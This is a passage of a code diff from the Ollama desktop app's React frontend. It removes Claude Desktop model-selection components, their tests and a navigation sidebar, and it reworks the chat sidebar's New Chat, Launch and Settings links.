command: "ollama launch opencode",
|
||||
},
|
||||
]);
|
||||
expect(fetch).toHaveBeenCalledWith(
|
||||
"http://127.0.0.1:3001/api/v1/integrations",
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe("getClaudeDesktopAvailableModels", () => {
|
||||
afterEach(() => {
|
||||
listModels.mockReset();
|
||||
vi.unstubAllGlobals();
|
||||
vi.restoreAllMocks();
|
||||
});
|
||||
|
||||
it("returns installed local models while pruning remote entries", async () => {
|
||||
listModels.mockResolvedValue({
|
||||
models: [
|
||||
{ name: "llama3.2:latest", digest: "local" },
|
||||
{
|
||||
name: "remote-placeholder",
|
||||
digest: "remote",
|
||||
remote_host: "https://ollama.com",
|
||||
},
|
||||
],
|
||||
});
|
||||
const fetch = vi.fn();
|
||||
vi.stubGlobal("fetch", fetch);
|
||||
|
||||
const models = await getClaudeDesktopAvailableModels();
|
||||
|
||||
expect(models.map((model) => model.model)).toEqual(["llama3.2"]);
|
||||
expect(fetch).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("does not request cloud models when they are unavailable to the user", async () => {
|
||||
listModels.mockResolvedValue({
|
||||
models: [
|
||||
{ name: "qwen3:8b", digest: "local" },
|
||||
{ name: "deepseek-v4-flash:cloud", digest: "cached-cloud" },
|
||||
{ name: "gemma4:31b-cloud", digest: "legacy-cached-cloud" },
|
||||
],
|
||||
});
|
||||
const fetch = vi.fn();
|
||||
vi.stubGlobal("fetch", fetch);
|
||||
|
||||
const models = await getClaudeDesktopAvailableModels();
|
||||
|
||||
expect(models.map((model) => model.model)).toEqual(["qwen3:8b"]);
|
||||
expect(fetch).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("does not use the global cloud model list", async () => {
|
||||
listModels.mockResolvedValue({
|
||||
models: [{ name: "qwen3:8b", digest: "local" }],
|
||||
});
|
||||
const fetch = vi.fn().mockRejectedValue(new Error("offline"));
|
||||
vi.stubGlobal("fetch", fetch);
|
||||
|
||||
const models = await getClaudeDesktopAvailableModels();
|
||||
|
||||
expect(models.map((model) => model.model)).toEqual(["qwen3:8b"]);
|
||||
expect(fetch).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
@@ -32,24 +32,6 @@ export interface CloudStatusResponse {
|
||||
disabled: boolean;
|
||||
source: CloudStatusSource;
|
||||
}
|
||||
|
||||
export interface IntegrationStatus {
|
||||
id: string;
|
||||
name: string;
|
||||
description: string;
|
||||
installed?: boolean;
|
||||
command?: string;
|
||||
}
|
||||
|
||||
export type IntegrationStatuses = IntegrationStatus[];
|
||||
|
||||
export async function getIntegrationStatuses(): Promise<IntegrationStatuses> {
|
||||
const response = await fetch(`${API_BASE}/api/v1/integrations`);
|
||||
if (!response.ok) {
|
||||
throw new Error(`Failed to fetch integration statuses: ${response.status}`);
|
||||
}
|
||||
return response.json();
|
||||
}
|
||||
// Helper function to convert Uint8Array to base64
|
||||
function uint8ArrayToBase64(uint8Array: Uint8Array): string {
|
||||
const chunkSize = 0x8000; // 32KB chunks to avoid stack overflow
|
||||
@@ -99,9 +81,7 @@ export async function fetchConnectUrl(): Promise<string> {
|
||||
if (response.status === 401) {
|
||||
const data = await response.json();
|
||||
if (data.signin_url) {
|
||||
const connectUrl = new URL(data.signin_url);
|
||||
connectUrl.searchParams.set("launch", "true");
|
||||
return connectUrl.toString();
|
||||
return data.signin_url;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -196,53 +176,6 @@ export async function getModels(query?: string): Promise<Model[]> {
|
||||
}
|
||||
}
|
||||
|
||||
export async function getClaudeDesktopAvailableModels(): Promise<Model[]> {
|
||||
try {
|
||||
const { models: modelsResponse } = await ollama.list();
|
||||
|
||||
const seen = new Set<string>();
|
||||
return modelsResponse
|
||||
.filter((model: ModelResponse) => {
|
||||
const response = model as ModelResponse & {
|
||||
remote_model?: string;
|
||||
remote_host?: string;
|
||||
};
|
||||
const name = model.name.replace(/:latest$/, "");
|
||||
return (
|
||||
!response.remote_model &&
|
||||
!response.remote_host &&
|
||||
!name.endsWith("cloud")
|
||||
);
|
||||
})
|
||||
.filter((model: ModelResponse) => {
|
||||
const base = model.name.replace(/:latest$/, "");
|
||||
if (!base || seen.has(base)) return false;
|
||||
|
||||
const families = model.details?.families;
|
||||
const supported =
|
||||
!families ||
|
||||
families.length === 0 ||
|
||||
!families.every((family: string) =>
|
||||
family.toLowerCase().includes("bert"),
|
||||
);
|
||||
if (supported) seen.add(base);
|
||||
return supported;
|
||||
})
|
||||
.map(
|
||||
(model: ModelResponse) =>
|
||||
new Model({
|
||||
model: model.name.replace(/:latest$/, ""),
|
||||
digest: model.digest,
|
||||
modified_at: model.modified_at
|
||||
? new Date(model.modified_at)
|
||||
: undefined,
|
||||
}),
|
||||
);
|
||||
} catch (err) {
|
||||
throw new Error(`Failed to fetch Ollama models: ${err}`);
|
||||
}
|
||||
}
|
||||
|
||||
export async function getModelCapabilities(
|
||||
modelName: string,
|
||||
): Promise<ModelCapabilitiesResponse> {
|
||||
@@ -485,9 +418,7 @@ export interface ModelRecommendationsResponse {
|
||||
recommendations: ModelRecommendation[];
|
||||
}
|
||||
|
||||
export async function getModelRecommendations(): Promise<
|
||||
ModelRecommendation[]
|
||||
> {
|
||||
export async function getModelRecommendations(): Promise<ModelRecommendation[]> {
|
||||
const response = await fetch(
|
||||
`${API_BASE}/api/experimental/model-recommendations`,
|
||||
);
|
||||
|
||||
@@ -1,43 +0,0 @@
|
||||
import { Link } from "@/components/ui/link";
|
||||
import { ChatIcon } from "@/components/ChatIcon";
|
||||
import { Cog6ToothIcon, RectangleGroupIcon } from "@heroicons/react/24/outline";
|
||||
|
||||
type AppSection = "apps" | "chat" | "settings";
|
||||
|
||||
export function AppNavigation({ current }: { current: AppSection }) {
|
||||
const itemClass = (section: AppSection) =>
|
||||
`flex w-full items-center gap-3 rounded-lg px-2 py-2 text-left text-sm text-neutral-700 hover:bg-neutral-100 dark:text-neutral-100 dark:hover:bg-neutral-800 ${
|
||||
current === section ? "bg-neutral-100 dark:bg-neutral-800" : ""
|
||||
}`;
|
||||
|
||||
return (
|
||||
<div className="flex flex-col gap-0.5">
|
||||
<Link to="/connect" className={itemClass("apps")} draggable={false}>
|
||||
<RectangleGroupIcon className="h-5 w-5 stroke-current" />
|
||||
<span className="truncate">Apps</span>
|
||||
</Link>
|
||||
<Link
|
||||
to="/c/$chatId"
|
||||
params={{ chatId: "new" }}
|
||||
mask={{ to: "/" }}
|
||||
className={itemClass("chat")}
|
||||
draggable={false}
|
||||
>
|
||||
<ChatIcon />
|
||||
<span className="truncate">Chat</span>
|
||||
</Link>
|
||||
<Link to="/settings" className={itemClass("settings")} draggable={false}>
|
||||
<Cog6ToothIcon className="h-5 w-5 stroke-current" />
|
||||
<span className="truncate">Settings</span>
|
||||
</Link>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export function AppSidebar({ current }: { current: AppSection }) {
|
||||
return (
|
||||
<nav className="flex flex-1 flex-col px-4 pb-4 select-none">
|
||||
<AppNavigation current={current} />
|
||||
</nav>
|
||||
);
|
||||
}
|
||||
@@ -1,14 +0,0 @@
|
||||
export function ChatIcon({ className = "h-5 w-5" }: { className?: string }) {
|
||||
return (
|
||||
<svg
|
||||
aria-hidden="true"
|
||||
className={`${className} fill-current`}
|
||||
viewBox="0 0 24 24"
|
||||
fill="none"
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
>
|
||||
<path d="M17.0859 3.39949L15.2135 5.27196H7.27028C5.78649 5.27196 4.94684 6.11336 4.94684 7.59716V16.664C4.94684 18.1558 5.78649 18.9892 7.27028 18.9892H16.3406C17.8324 18.9892 18.6623 18.1558 18.6623 16.664V8.79514L20.5428 6.9115C20.567 7.11532 20.5773 7.33066 20.5773 7.55419V16.7149C20.5773 19.4069 19.0818 20.9024 16.3898 20.9024H7.22107C4.53708 20.9024 3.03357 19.4069 3.03357 16.7149V7.55419C3.03357 4.8622 4.53708 3.35869 7.22107 3.35869H16.3898C16.6329 3.35869 16.8662 3.37094 17.0859 3.39949Z" />
|
||||
<path d="M9.92714 14.381L11.914 13.5403L20.8312 4.63114L19.3404 3.1581L10.433 12.0655L9.55234 13.9964C9.45664 14.2169 9.70293 14.4714 9.92714 14.381ZM21.5767 3.89364L22.2588 3.19384C22.6347 2.80184 22.6435 2.2663 22.2711 1.90536L22.0148 1.64287C21.6822 1.31377 21.1334 1.36513 20.7689 1.72158L20.0859 2.39833L21.5767 3.89364Z" />
|
||||
</svg>
|
||||
);
|
||||
}
|
||||
@@ -6,12 +6,14 @@ import { getChat } from "@/api";
|
||||
import { Link } from "@/components/ui/link";
|
||||
import { useState, useRef, useEffect, useCallback, useMemo } from "react";
|
||||
import { ChatsResponse } from "@/gotypes";
|
||||
import { AppNavigation } from "@/components/AppSidebar";
|
||||
import { CogIcon, RocketLaunchIcon } from "@heroicons/react/24/outline";
|
||||
|
||||
// there's a hidden debug feature to copy a chat's data to the clipboard by
|
||||
// holding shift and clicking this many times within this many seconds
|
||||
const DEBUG_SHIFT_CLICKS_REQUIRED = 5;
|
||||
const DEBUG_SHIFT_CLICK_WINDOW_MS = 7000; // 7 seconds
|
||||
const launchSidebarRequestedKey = "ollama.launchSidebarRequested";
|
||||
|
||||
interface ChatSidebarProps {
|
||||
currentChatId?: string;
|
||||
}
|
||||
@@ -258,10 +260,56 @@ export function ChatSidebar({ currentChatId }: ChatSidebarProps) {
|
||||
);
|
||||
}
|
||||
|
||||
const isWindows = navigator.platform.toLowerCase().includes("win");
|
||||
|
||||
return (
|
||||
<nav className="flex flex-1 flex-col min-h-0 select-none">
|
||||
<header className="flex flex-col gap-0.5 px-4 pb-2">
|
||||
<AppNavigation current="chat" />
|
||||
<Link
|
||||
href="/c/new"
|
||||
mask={{ to: "/" }}
|
||||
className={`flex w-full items-center gap-3 rounded-lg px-2 py-2 text-left text-sm text-neutral-700 hover:bg-neutral-100 dark:hover:bg-neutral-800 dark:text-neutral-100 ${currentChatId === "new" ? "bg-neutral-100 dark:bg-neutral-800" : ""
|
||||
}`}
|
||||
draggable={false}
|
||||
>
|
||||
<svg
|
||||
className="h-5 w-5 fill-current"
|
||||
viewBox="0 0 24 24"
|
||||
fill="none"
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
>
|
||||
<path d="M17.0859 3.39949L15.2135 5.27196H7.27028C5.78649 5.27196 4.94684 6.11336 4.94684 7.59716V16.664C4.94684 18.1558 5.78649 18.9892 7.27028 18.9892H16.3406C17.8324 18.9892 18.6623 18.1558 18.6623 16.664V8.79514L20.5428 6.9115C20.567 7.11532 20.5773 7.33066 20.5773 7.55419V16.7149C20.5773 19.4069 19.0818 20.9024 16.3898 20.9024H7.22107C4.53708 20.9024 3.03357 19.4069 3.03357 16.7149V7.55419C3.03357 4.8622 4.53708 3.35869 7.22107 3.35869H16.3898C16.6329 3.35869 16.8662 3.37094 17.0859 3.39949Z" />
|
||||
<path d="M9.92714 14.381L11.914 13.5403L20.8312 4.63114L19.3404 3.1581L10.433 12.0655L9.55234 13.9964C9.45664 14.2169 9.70293 14.4714 9.92714 14.381ZM21.5767 3.89364L22.2588 3.19384C22.6347 2.80184 22.6435 2.2663 22.2711 1.90536L22.0148 1.64287C21.6822 1.31377 21.1334 1.36513 20.7689 1.72158L20.0859 2.39833L21.5767 3.89364Z" />
|
||||
</svg>
|
||||
<span className="truncate">New Chat</span>
|
||||
</Link>
|
||||
<Link
|
||||
to="/c/$chatId"
|
||||
params={{ chatId: "launch" }}
|
||||
onClick={() => {
|
||||
if (currentChatId !== "launch") {
|
||||
sessionStorage.setItem(launchSidebarRequestedKey, "1");
|
||||
}
|
||||
}}
|
||||
className={`flex w-full items-center gap-3 rounded-lg px-2 py-2 text-left text-sm text-neutral-700 hover:bg-neutral-100 dark:hover:bg-neutral-800 dark:text-neutral-100 cursor-pointer ${currentChatId === "launch"
|
||||
? "bg-neutral-100 dark:bg-neutral-800"
|
||||
: ""
|
||||
}`}
|
||||
draggable={false}
|
||||
>
|
||||
<RocketLaunchIcon className="h-5 w-5 stroke-current" />
|
||||
<span className="truncate">Launch</span>
|
||||
</Link>
|
||||
{isWindows && (
|
||||
<Link
|
||||
href="/settings"
|
||||
className={`flex w-full items-center gap-3 rounded-lg px-2 py-2 text-left text-sm text-neutral-700 hover:bg-neutral-100 dark:hover:bg-neutral-800 dark:text-neutral-300`}
|
||||
draggable={false}
|
||||
>
|
||||
<CogIcon className="h-5 w-5 stroke-current" />
|
||||
<span className="truncate">Settings</span>
|
||||
</Link>
|
||||
)}
|
||||
</header>
|
||||
<div className="flex flex-1 flex-col px-4 py-1 overflow-y-auto overscroll-auto scrollbar-gutter">
|
||||
<div className="flex flex-col gap-3 pt-4">
|
||||
@@ -273,19 +321,18 @@ export function ChatSidebar({ currentChatId }: ChatSidebarProps) {
|
||||
{group.chats.map((chat) => (
|
||||
<div
|
||||
key={chat.id}
|
||||
className={`allow-context-menu flex items-center relative text-sm text-neutral-800 dark:text-neutral-400 rounded-lg hover:bg-neutral-100 dark:hover:bg-neutral-800 ${
|
||||
chat.id === currentChatId
|
||||
? "bg-neutral-100 text-black dark:bg-neutral-800"
|
||||
: ""
|
||||
}`}
|
||||
className={`allow-context-menu flex items-center relative text-sm text-neutral-800 dark:text-neutral-400 rounded-lg hover:bg-neutral-100 dark:hover:bg-neutral-800 ${chat.id === currentChatId
|
||||
? "bg-neutral-100 text-black dark:bg-neutral-800"
|
||||
: ""
|
||||
}`}
|
||||
onMouseEnter={() => handleMouseEnter(chat.id)}
|
||||
onContextMenu={(e) =>
|
||||
handleContextMenu(
|
||||
e,
|
||||
chat.id,
|
||||
chat.title ||
|
||||
chat.userExcerpt ||
|
||||
chat.createdAt.toLocaleString(),
|
||||
chat.userExcerpt ||
|
||||
chat.createdAt.toLocaleString(),
|
||||
)
|
||||
}
|
||||
>
|
||||
|
||||
@@ -1,424 +0,0 @@
|
||||
import { renderToStaticMarkup } from "react-dom/server";
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { ClaudeDesktopModelsSettings } from "./ClaudeDesktopModelsSettings";
|
||||
|
||||
describe("ClaudeDesktopModelsSettings", () => {
|
||||
it("shows Claude recommendations and an installed-model search in Settings", () => {
|
||||
const html = renderToStaticMarkup(
|
||||
<ClaudeDesktopModelsSettings
|
||||
initialLocalModels={["llama3.2", "qwen3:8b"]}
|
||||
initialStatus={{
|
||||
supported: true,
|
||||
used: true,
|
||||
installed: true,
|
||||
connected: true,
|
||||
running: false,
|
||||
startFailed: false,
|
||||
portConflict: false,
|
||||
modelSource: "endpoint",
|
||||
models: [
|
||||
{
|
||||
name: "glm-5.2:cloud",
|
||||
displayName: "glm-5.2:cloud",
|
||||
cloud: true,
|
||||
selected: true,
|
||||
},
|
||||
{
|
||||
name: "deepseek-v4-flash:cloud",
|
||||
displayName: "deepseek-v4-flash:cloud",
|
||||
cloud: true,
|
||||
selected: false,
|
||||
},
|
||||
],
|
||||
}}
|
||||
/>,
|
||||
);
|
||||
|
||||
expect(html).toContain(">Claude<");
|
||||
expect(html).toContain(">Apps<");
|
||||
expect(html).toContain('id="apps-settings-heading"');
|
||||
expect(html).toContain('src="/launch-icons/claude.svg"');
|
||||
expect(html).not.toContain("Models in Claude");
|
||||
expect(html).toContain("glm-5.2:cloud");
|
||||
expect(html).toContain("deepseek-v4-flash:cloud");
|
||||
expect(html).toContain("Search Ollama models");
|
||||
expect(html).not.toContain("Add any Ollama model");
|
||||
expect(html).toContain("Restart Claude");
|
||||
expect((html.match(/checked=""/g) ?? []).length).toBe(2);
|
||||
});
|
||||
|
||||
it("does not show the invalid Ollama Cloud sentinel", () => {
|
||||
const html = renderToStaticMarkup(
|
||||
<ClaudeDesktopModelsSettings
|
||||
initialStatus={{
|
||||
supported: true,
|
||||
used: true,
|
||||
installed: true,
|
||||
connected: true,
|
||||
running: false,
|
||||
startFailed: false,
|
||||
portConflict: false,
|
||||
modelSource: "user",
|
||||
models: [
|
||||
{
|
||||
name: "Ollama Cloud",
|
||||
displayName: "Ollama Cloud",
|
||||
selected: true,
|
||||
},
|
||||
{
|
||||
name: "qwen3:8b",
|
||||
displayName: "qwen3:8b",
|
||||
selected: true,
|
||||
},
|
||||
],
|
||||
}}
|
||||
/>,
|
||||
);
|
||||
|
||||
expect(html).not.toContain("Ollama Cloud");
|
||||
expect(html).toContain("qwen3:8b");
|
||||
});
|
||||
|
||||
it("labels the built-in fallback without exposing MLX", () => {
|
||||
const html = renderToStaticMarkup(
|
||||
<ClaudeDesktopModelsSettings
|
||||
initialStatus={{
|
||||
supported: true,
|
||||
used: true,
|
||||
installed: true,
|
||||
connected: true,
|
||||
running: false,
|
||||
startFailed: false,
|
||||
portConflict: false,
|
||||
modelSource: "fallback",
|
||||
models: [
|
||||
{
|
||||
name: "deepseek-v4-flash:0731:cloud",
|
||||
displayName: "deepseek-v4-flash:0731:cloud",
|
||||
cloud: true,
|
||||
selected: true,
|
||||
},
|
||||
],
|
||||
}}
|
||||
/>,
|
||||
);
|
||||
|
||||
expect(html).toContain("Built-in defaults");
|
||||
expect(html).toContain("deepseek-v4-flash:0731:cloud");
|
||||
expect(html).not.toContain("MLX");
|
||||
});
|
||||
|
||||
it("prevents a sixth selection when the literal Claude slots are full", () => {
|
||||
const html = renderToStaticMarkup(
|
||||
<ClaudeDesktopModelsSettings
|
||||
initialStatus={{
|
||||
supported: true,
|
||||
used: true,
|
||||
installed: true,
|
||||
connected: true,
|
||||
running: false,
|
||||
startFailed: false,
|
||||
portConflict: false,
|
||||
modelSource: "endpoint",
|
||||
maxModels: 5,
|
||||
models: [
|
||||
{
|
||||
name: "glm-5.2:cloud",
|
||||
displayName: "glm-5.2:cloud",
|
||||
cloud: true,
|
||||
selected: true,
|
||||
},
|
||||
{
|
||||
name: "kimi-k3:cloud",
|
||||
displayName: "kimi-k3:cloud",
|
||||
cloud: true,
|
||||
selected: true,
|
||||
},
|
||||
{
|
||||
name: "deepseek-v4-pro:cloud",
|
||||
displayName: "deepseek-v4-pro:cloud",
|
||||
cloud: true,
|
||||
selected: true,
|
||||
},
|
||||
{
|
||||
name: "deepseek-v4-flash:cloud",
|
||||
displayName: "deepseek-v4-flash:cloud",
|
||||
cloud: true,
|
||||
selected: true,
|
||||
},
|
||||
{
|
||||
name: "gemma4:26b:cloud",
|
||||
displayName: "gemma4:26b:cloud",
|
||||
cloud: true,
|
||||
selected: true,
|
||||
},
|
||||
{
|
||||
name: "qwen3:8b",
|
||||
displayName: "qwen3:8b",
|
||||
selected: false,
|
||||
},
|
||||
],
|
||||
}}
|
||||
/>,
|
||||
);
|
||||
|
||||
const index = html.indexOf(">qwen3:8b</span>");
|
||||
expect(index).toBeGreaterThan(-1);
|
||||
const label = html.slice(html.lastIndexOf("<label", index), index);
|
||||
expect(label).toContain("disabled");
|
||||
expect((html.match(/disabled=""/g) ?? []).length).toBe(1);
|
||||
expect(html).toContain(
|
||||
"Claude supports up to 5 models. Deselect one to add another.",
|
||||
);
|
||||
});
|
||||
|
||||
it("honors a smaller maxModels limit from the status", () => {
|
||||
const html = renderToStaticMarkup(
|
||||
<ClaudeDesktopModelsSettings
|
||||
initialStatus={{
|
||||
supported: true,
|
||||
used: true,
|
||||
installed: true,
|
||||
connected: true,
|
||||
running: false,
|
||||
startFailed: false,
|
||||
portConflict: false,
|
||||
modelSource: "endpoint",
|
||||
maxModels: 1,
|
||||
models: [
|
||||
{
|
||||
name: "kimi-k3:cloud",
|
||||
displayName: "kimi-k3:cloud",
|
||||
cloud: true,
|
||||
selected: true,
|
||||
},
|
||||
{
|
||||
name: "qwen3:8b",
|
||||
displayName: "qwen3:8b",
|
||||
selected: false,
|
||||
},
|
||||
],
|
||||
}}
|
||||
/>,
|
||||
);
|
||||
|
||||
const index = html.indexOf(">qwen3:8b</span>");
|
||||
expect(index).toBeGreaterThan(-1);
|
||||
const label = html.slice(html.lastIndexOf("<label", index), index);
|
||||
expect(label).toContain("disabled");
|
||||
});
|
||||
|
||||
it("hides recommendation and selected cloud models when cloud is disabled", () => {
|
||||
const html = renderToStaticMarkup(
|
||||
<ClaudeDesktopModelsSettings
|
||||
initialLocalModels={["qwen3:8b"]}
|
||||
initialStatus={{
|
||||
supported: true,
|
||||
used: true,
|
||||
installed: true,
|
||||
connected: false,
|
||||
running: false,
|
||||
startFailed: true,
|
||||
portConflict: false,
|
||||
error: "Cloud models are off. Select an installed model in Settings.",
|
||||
modelSource: "endpoint",
|
||||
models: [
|
||||
{
|
||||
name: "glm-5.2:cloud",
|
||||
displayName: "glm-5.2:cloud",
|
||||
cloud: true,
|
||||
selected: true,
|
||||
availability: "unavailable",
|
||||
reason: "cloud_off",
|
||||
},
|
||||
],
|
||||
}}
|
||||
/>,
|
||||
);
|
||||
|
||||
expect(html).not.toContain("glm-5.2:cloud");
|
||||
expect(html).toContain("Search Ollama models");
|
||||
expect(html).toContain(
|
||||
"Cloud models are off. Select an installed model in Settings.",
|
||||
);
|
||||
expect(html).not.toContain(
|
||||
"These models will be available when Claude starts.",
|
||||
);
|
||||
expect(html).not.toContain("text-red");
|
||||
});
|
||||
|
||||
it("shows account requirements and prevents selecting unavailable models", () => {
|
||||
const html = renderToStaticMarkup(
|
||||
<ClaudeDesktopModelsSettings
|
||||
initialStatus={{
|
||||
supported: true,
|
||||
used: true,
|
||||
installed: true,
|
||||
connected: true,
|
||||
running: false,
|
||||
startFailed: false,
|
||||
portConflict: false,
|
||||
modelSource: "endpoint",
|
||||
models: [
|
||||
{
|
||||
name: "glm-5.2:cloud",
|
||||
displayName: "glm-5.2:cloud",
|
||||
cloud: true,
|
||||
selected: false,
|
||||
availability: "unavailable",
|
||||
reason: "upgrade_required",
|
||||
requiredPlan: "pro",
|
||||
},
|
||||
{
|
||||
name: "gemma4:31b-cloud",
|
||||
displayName: "gemma4:31b-cloud",
|
||||
cloud: true,
|
||||
selected: true,
|
||||
availability: "available",
|
||||
requiredPlan: "free",
|
||||
},
|
||||
],
|
||||
}}
|
||||
/>,
|
||||
);
|
||||
|
||||
expect(html).toContain("pro plan required");
|
||||
const index = html.indexOf(">glm-5.2:cloud</span>");
|
||||
const label = html.slice(html.lastIndexOf("<label", index), index);
|
||||
expect(label).toContain("disabled");
|
||||
expect(html).toContain("gemma4:31b-cloud");
|
||||
});
|
||||
|
||||
it("replaces paid defaults with the available free recommendation", () => {
|
||||
const html = renderToStaticMarkup(
|
||||
<ClaudeDesktopModelsSettings
|
||||
initialStatus={{
|
||||
supported: true,
|
||||
used: true,
|
||||
installed: true,
|
||||
connected: false,
|
||||
running: false,
|
||||
startFailed: false,
|
||||
portConflict: false,
|
||||
modelSource: "endpoint",
|
||||
models: [
|
||||
"glm-5.2:cloud",
|
||||
"kimi-k3:cloud",
|
||||
"deepseek-v4-pro:cloud",
|
||||
"deepseek-v4-flash:cloud",
|
||||
]
|
||||
.map((name) => ({
|
||||
name,
|
||||
displayName: name,
|
||||
cloud: true,
|
||||
selected: true,
|
||||
availability: "unavailable" as const,
|
||||
reason: "upgrade_required" as const,
|
||||
requiredPlan: "pro",
|
||||
}))
|
||||
.concat([
|
||||
{
|
||||
name: "gemma4:31b-cloud",
|
||||
displayName: "gemma4:31b-cloud",
|
||||
cloud: true,
|
||||
selected: false,
|
||||
availability: "available" as const,
|
||||
requiredPlan: "free",
|
||||
},
|
||||
]),
|
||||
}}
|
||||
/>,
|
||||
);
|
||||
|
||||
expect((html.match(/>pro plan required<\/span>/g) ?? []).length).toBe(4);
|
||||
expect((html.match(/checked=""/g) ?? []).length).toBe(1);
|
||||
const gemmaIndex = html.indexOf(">gemma4:31b-cloud</span>");
|
||||
const gemmaInput = html.slice(
|
||||
html.lastIndexOf("<input", gemmaIndex),
|
||||
gemmaIndex,
|
||||
);
|
||||
expect(gemmaInput).toContain('checked=""');
|
||||
expect(html).toContain("Start Claude");
|
||||
});
|
||||
|
||||
it("does not restart Claude when every selected model is unavailable", () => {
|
||||
const html = renderToStaticMarkup(
|
||||
<ClaudeDesktopModelsSettings
|
||||
initialStatus={{
|
||||
supported: true,
|
||||
used: true,
|
||||
installed: true,
|
||||
connected: true,
|
||||
running: false,
|
||||
startFailed: false,
|
||||
portConflict: false,
|
||||
modelSource: "endpoint",
|
||||
models: [
|
||||
{
|
||||
name: "glm-5.2:cloud",
|
||||
displayName: "glm-5.2:cloud",
|
||||
cloud: true,
|
||||
selected: true,
|
||||
availability: "unavailable",
|
||||
reason: "upgrade_required",
|
||||
requiredPlan: "pro",
|
||||
},
|
||||
],
|
||||
}}
|
||||
/>,
|
||||
);
|
||||
|
||||
expect(html).toContain("Select a model available to your account.");
|
||||
const button = html.slice(html.lastIndexOf("<button"));
|
||||
expect(button).toContain("disabled");
|
||||
});
|
||||
|
||||
it("remains visible after Claude has been disconnected", () => {
|
||||
const html = renderToStaticMarkup(
|
||||
<ClaudeDesktopModelsSettings
|
||||
initialStatus={{
|
||||
supported: true,
|
||||
used: true,
|
||||
installed: true,
|
||||
connected: false,
|
||||
running: false,
|
||||
startFailed: false,
|
||||
portConflict: false,
|
||||
modelSource: "user",
|
||||
models: [
|
||||
{
|
||||
name: "qwen3:8b",
|
||||
displayName: "qwen3:8b",
|
||||
selected: true,
|
||||
},
|
||||
],
|
||||
}}
|
||||
/>,
|
||||
);
|
||||
|
||||
expect(html).toContain(">Claude<");
|
||||
expect(html).toContain("qwen3:8b");
|
||||
expect(html).toContain(
|
||||
"These models will be available when Claude starts.",
|
||||
);
|
||||
expect(html).toContain("Start Claude");
|
||||
});
|
||||
|
||||
it("stays hidden until Claude has been enabled once", () => {
|
||||
const html = renderToStaticMarkup(
|
||||
<ClaudeDesktopModelsSettings
|
||||
initialStatus={{
|
||||
supported: true,
|
||||
used: false,
|
||||
installed: true,
|
||||
connected: false,
|
||||
running: false,
|
||||
startFailed: false,
|
||||
portConflict: false,
|
||||
}}
|
||||
/>,
|
||||
);
|
||||
|
||||
expect(html).toBe("");
|
||||
});
|
||||
});
|
||||
@@ -1,420 +0,0 @@
|
||||
import { getClaudeDesktopAvailableModels } from "@/api";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import { Input } from "@/components/ui/input";
|
||||
import {
|
||||
addClaudeModelSelection,
|
||||
claudeDesktopRecoveryMessage,
|
||||
claudeDesktopMaxModels,
|
||||
claudeDesktopMaxModelsMessage,
|
||||
claudeDesktopUsableSelection,
|
||||
} from "@/lib/claudeDesktop";
|
||||
import type {
|
||||
ClaudeDesktopModelStatus,
|
||||
ClaudeDesktopStatus,
|
||||
} from "@/types/webview";
|
||||
import { ArrowPathIcon } from "@heroicons/react/20/solid";
|
||||
import { useCallback, useEffect, useMemo, useRef, useState } from "react";
|
||||
|
||||
interface ClaudeDesktopModelsSettingsProps {
|
||||
initialStatus?: ClaudeDesktopStatus;
|
||||
initialLocalModels?: string[];
|
||||
}
|
||||
|
||||
function isInvalidModelName(name: string): boolean {
|
||||
const normalized = name.trim().toLowerCase().replace(/[-:]+/g, " ");
|
||||
return normalized === "ollama cloud";
|
||||
}
|
||||
|
||||
function visibleModels(
|
||||
status: ClaudeDesktopStatus,
|
||||
): ClaudeDesktopModelStatus[] {
|
||||
return (status.models ?? []).filter(
|
||||
(model) => !isInvalidModelName(model.name) && model.reason !== "cloud_off",
|
||||
);
|
||||
}
|
||||
|
||||
function selectedModelNames(status: ClaudeDesktopStatus): string[] {
|
||||
return claudeDesktopUsableSelection(
|
||||
visibleModels(status),
|
||||
status.modelSource !== "user",
|
||||
claudeDesktopMaxModels(status),
|
||||
);
|
||||
}
|
||||
|
||||
function modelAccessLabel(model: ClaudeDesktopModelStatus): string | null {
|
||||
switch (model.reason) {
|
||||
case "sign_in_required":
|
||||
return "Sign in required";
|
||||
case "upgrade_required":
|
||||
return model.requiredPlan
|
||||
? `${model.requiredPlan} plan required`
|
||||
: "Upgrade required";
|
||||
case "verification_unavailable":
|
||||
return "Access unavailable";
|
||||
case "model_not_installed":
|
||||
return "Not installed";
|
||||
default:
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
function explicitCloudName(name: string): string {
|
||||
return name.endsWith(":cloud") ? name : `${name}:cloud`;
|
||||
}
|
||||
|
||||
export function ClaudeDesktopModelsSettings({
|
||||
initialStatus,
|
||||
initialLocalModels,
|
||||
}: ClaudeDesktopModelsSettingsProps) {
|
||||
const [status, setStatus] = useState<ClaudeDesktopStatus | null>(
|
||||
initialStatus ?? null,
|
||||
);
|
||||
const [models, setModels] = useState<ClaudeDesktopModelStatus[]>(() =>
|
||||
initialStatus ? visibleModels(initialStatus) : [],
|
||||
);
|
||||
const [selection, setSelection] = useState<string[]>(() =>
|
||||
initialStatus ? selectedModelNames(initialStatus) : [],
|
||||
);
|
||||
const [localModels, setLocalModels] = useState<string[]>(
|
||||
initialLocalModels ?? [],
|
||||
);
|
||||
const [searchQuery, setSearchQuery] = useState("");
|
||||
const [pickerOpen, setPickerOpen] = useState(false);
|
||||
const [modelsLoading, setModelsLoading] = useState(false);
|
||||
const [error, setError] = useState<string | null>(null);
|
||||
const [restarting, setRestarting] = useState(false);
|
||||
const pickerRef = useRef<HTMLDivElement>(null);
|
||||
|
||||
const applyStatus = useCallback((next: ClaudeDesktopStatus) => {
|
||||
setStatus(next);
|
||||
setModels(visibleModels(next));
|
||||
setSelection(selectedModelNames(next));
|
||||
setError(null);
|
||||
}, []);
|
||||
|
||||
const refreshStatus = useCallback(async () => {
|
||||
if (!window.getClaudeDesktopStatus) return;
|
||||
try {
|
||||
applyStatus(await window.getClaudeDesktopStatus());
|
||||
} catch {
|
||||
setError("Ollama could not read the Claude connection status.");
|
||||
}
|
||||
}, [applyStatus]);
|
||||
|
||||
useEffect(() => {
